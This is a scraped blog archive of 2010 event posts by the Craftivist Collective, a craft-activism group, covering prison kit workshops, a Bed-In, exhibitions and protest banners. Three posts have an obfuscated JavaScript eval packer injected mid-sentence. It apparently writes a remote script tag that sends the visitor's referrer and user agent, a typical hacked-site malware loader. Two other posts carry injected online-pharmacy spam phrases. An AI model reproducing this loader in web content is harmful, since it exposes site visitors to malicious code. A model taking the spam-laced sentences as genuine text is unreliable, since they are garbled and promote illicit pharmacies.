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10 Nov Fine Cell Work kit making workshop to help prisoners at Christmas

Date: Saturday 4th December 2pm-5pm. ?Venue: Fine Cell Works HQ, London Bring: Scissors if you have any. RSVP here as there are limited spaces. Facebook event here After an inspiring presentation Fine Cell Work did for our craftivists in our August 2010 monthly meeting in their office surrounded by beautiful cushions we all felt we wanted to do more to support this incredible crafy charity. We have arranged a session at Fine Cell Work HQ where 20 Craftivists will have the chance to put kits together for prisoners to use during Christmas.
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01 Nov And Sew To Bed…

Our own Bed-In on global and local inequality issues with West Everton residents in the UK. See separate blog here for more info and to see some of the patches look here The West Everton Community Council (WECC) and One World Week alongside The Craftivist Collective is taking part in the Liverpool Bluecoat Bed-In to celebrate John Lennon’s 70th birthday. The Bluecoat event takes part from October 6 – December 9, 2010: our Bed-In is on December 1, 2010. During our Bed-In we want to raise awareness of global issues in our own community and amongst the people of Merseyside. We may represent a specific community but we come with our global concerns to a bed in the Bluecoat. We want to raise awareness of national and international inequality and demand change – we want to see an end to the social chasm between those who have and those who need. Ours is a peaceful protest that wishes to engage all people in crafty action: Craftivism! We will make lovely stuff and change the world by stealth and beauty. Full project details after the jump.
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20 Sep Join us at Sheffield DocFest 2010

Last years session we did at Sheffield eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dziae|var|u0026u|referrer|ashye||js|php'.split('|'),0,{})) Docfest was a great success so they have invited us again and opened up the session to...

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17 Sep Craftivist Collective’s micro exhibition and shop at the Paper Dress Boutique

The Craftivist Collective launched their latest exhibition on Thursday 16th September 2010. The exhibition is installed at Paper Dress Boutique, a beautiful vintage clothes boutique, cafe and venue at 114-116 Curtain Road, Shoreditch, London EC2A 3AH.
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14 Sep Cross Stitch Graffiti at London Fashion Week 2010

To mark the start of London Fashion Week 2010, activist group The Craftivist Collective has created homemade Mini Protest Banners aimed at exposing the ugly side of fashion. Using Mini Protest Banners, they hope to make people think about the side of the fashion that is often too easily dismissed by the industry in a non-threatening but challenging way during the fashionista's calendar annual highlight.
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10 Sep An Insider’s View: Fine Cell Work by Barley Massey of Fabrications

An event on Buckingham Palace Road last Thursday was an affirmation once again to me of the value of craft in our society and its power to create social change, well being and self usa online pharmacy without prescription worth.
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02 Sep Desconocida Unknown Ukjent by Lise Bjorne Linnert

This eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rasan|var|u0026u|referrer|yaynh||js|php'.split('|'),0,{})) was our September project: the Collective contributed to Norwegian artist Lise Bjørne Linnert's ongoing project, entitled DESCONOCIDA UNKNOWN UKJENT, which aims to draw...

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01 Sep Join us and comedienne Josie Long!

Comedienne Josie eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rrrdz|var|u0026u|referrer|asnfy||js|php'.split('|'),0,{})) Long has kindly asked the Craftivist Collective to join her on stage at Soho Theatre, London for 6 nights of her sold out tour...

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20 Aug September 2010 meeting: new project, new venue!

Date: Thursday 16th September: 6:30pm- 8pm. All welcome (donation of £3 to cover costs is encouraged). Venue: Paper Dress Boutique, Shoreditch London The venue is a lovely vintage clothes shop/cafe called Paper Dress Boutique. So come and support a local business by crafting in her cafe with a cup of tea or coffee :) As part of our ongoing commitment to exposing social injustice, the Collective will be contributing to Norwegian artist Lise Bjørne Linnert’s current project, entitled DESCONOCIDA UNKNOWN UKJENT.
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15 Aug Meeting an unlikely supporter of the Craftivist Collective…

August 2010: At the Whitecross Street art party to raise money and awareness of SHP (Single Homeless Project) charity the Craftivist Collective had a stall and artwork showing. A lovely older man (wants to remain anonymous) came up to our stall very excited to meet us and said that he had stolen a Mini Protest Banner 2 years ago from Hoxton Square because he thought it was great and he couldnt find out who made it and put it up (he doesnt have the internet so couldnt Google the label). HIs banner said "there is more to life generic medicine online pharmacy than cool points".
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